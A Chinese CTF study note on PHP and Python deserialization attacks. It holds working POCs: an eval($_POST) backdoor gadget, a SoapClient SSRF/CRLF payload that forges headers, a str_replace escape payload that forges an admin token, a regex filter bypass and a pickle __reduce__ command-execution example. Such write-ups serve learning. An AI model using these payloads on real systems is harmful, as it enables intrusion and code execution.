预备知识
PHP有一个特性:函数名和类名不区分大小写,变量名区分。
序列化的例子:
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code='eval($_POST[1]);';
public function getInfo(){
eval($this->code);
}
}
echo serialize(new ctfShowUser());
?>
结果如下:
O:11:"ctfShowUser":4:{s:21:"ctfShowUserusername";s:6:"xxxxxx";
s:21:"ctfShowUserpassword";s:6:"xxxxxx";
s:18:"ctfShowUserisVip";b:0;
s:18:"ctfShowUserclass";O:8:"backDoor":1:
{s:14:"backDoorcode";s:16:"eval($_POST[1]);";}}
注意:字符串序列化后就是其本身。
有关魔术方法:
在php7.4以上:如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
serialize()函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。不过我们是在本地进行序列化的,所以没有影响。
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
过滤与绕过
正则匹配了O:数字,可以在数字前面加+绕过
SoapClient类反序列化+SSRF+CRLF
背景如下:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
后端代码:
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
要求是127.0.0.1的访问才有效,所以是SSRF。
通过传入的vip进行反序列化,然后调用了getFlag()方法。但是并没有给我们提供类,所以这个题利用的是php原生类SoapClient。当访问一个类不存在的方法时,php会默认调用该类的__call魔术方法,会调用SoapClient类的构造方法,进而达到发包的目的。
SoapClient可以控制ua头,但是我们还要求能控制POST的数据,以及X-Forwarded-For头,所以使用CRLF。
POC:
<?php
$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
?>
SoapClient类:
public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )
第一个参数是用来指明是否是wsdl模式
如果为null,那就是非wsdl模式,反序列化的时候会对第二个参数指明的url进行soap请求
如果第一个参数为null,则第二个参数必须设置location和uri
其中location是将请求发送到的SOAP服务器的URL
uri是SOAP服务的目标名称空间
第二个参数允许设置user_agent选项来设置请求的user-agent头
str_replace()条件下的逃逸
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
这道题会根据传入的参数生成message对象,并经过序列化、替换和base64编码后作为cookie返回。然后看向message.php:
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
会根据cookie值进行反向操作,判断token=='admin'与否。所以我们就要想办法控制$token。
第一种办法可以直接构造:
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
echo base64_encode(serialize(new message('a','b','c')));
?>
第二种办法的重点在于字符串替换里面,两个字符串的长度不一样:
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($msg){
return str_replace('fuck','loveU',$msg);
}
$msg1=new message('fuck','b','c');
$msg1_ser=serialize($msg1);
echo $msg1_ser;
#O:7:"message":4:{s:4:"from";s:4:"fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
$msg2=filter($msg1_ser);
echo $msg2;
#O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
?>
可以看出序列化之后再替换会造成字符的逃逸,loveU有五个字符,但是前面的数字为4。在这个例子中,每一次替换可以逃逸一个字符,那么就可以想办法注入我们需要的内容:
$msg1=new message('fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
可以看到,我们在$from字段注入了一个序列化的后头的内容,包括了$token='admin',但是字符串替换后只会造成最后一位字符逃逸(fuck变为loveU把注入的最后一位挤出去了)。而注入的内容长度为62字符:
";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
所以需要重复62次fuck即可达到逃逸的效果。这样序列化并替换后的结果如下:
O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
310正好覆盖了所有的loveU,从而使得后面注入的内容逃逸了。
所以POC如下:
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($msg){
return str_replace('fuck','loveU',$msg);
}
$msg1=new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
$msg1_ser=serialize($msg1);
$msg2=filter($msg1_ser);
echo base64_encode($msg2);
?>
PHP的Session反序列化
phar扩展php反序列化的攻击面
python反序列化
参考
pickle.dump(obj, file) : 将对象序列化后保存到文件
pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象
pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象
Python 反序列化漏洞跟__reduce__()魔术方法相关
其类似于 PHP 对象中的 __wakeup() 方法,会在反序列化时自动调用
__reduce__() 魔术方法可以返回一个字符串或者时一个元组。其中返回元组时,第一个参数为一个可调用对象,第二个参数为该对象所需要的参数
import pickle
import os
class Rce(object):
def __reduce__(self):
return (os.system,('ipconfig',))
a = Rce()
b = pickle.dumps(a)
pickle.loads(b) # 执行该语句进行反序列化,自动执行 __reduce__ 方法,并且执行 os.system('ipconfig')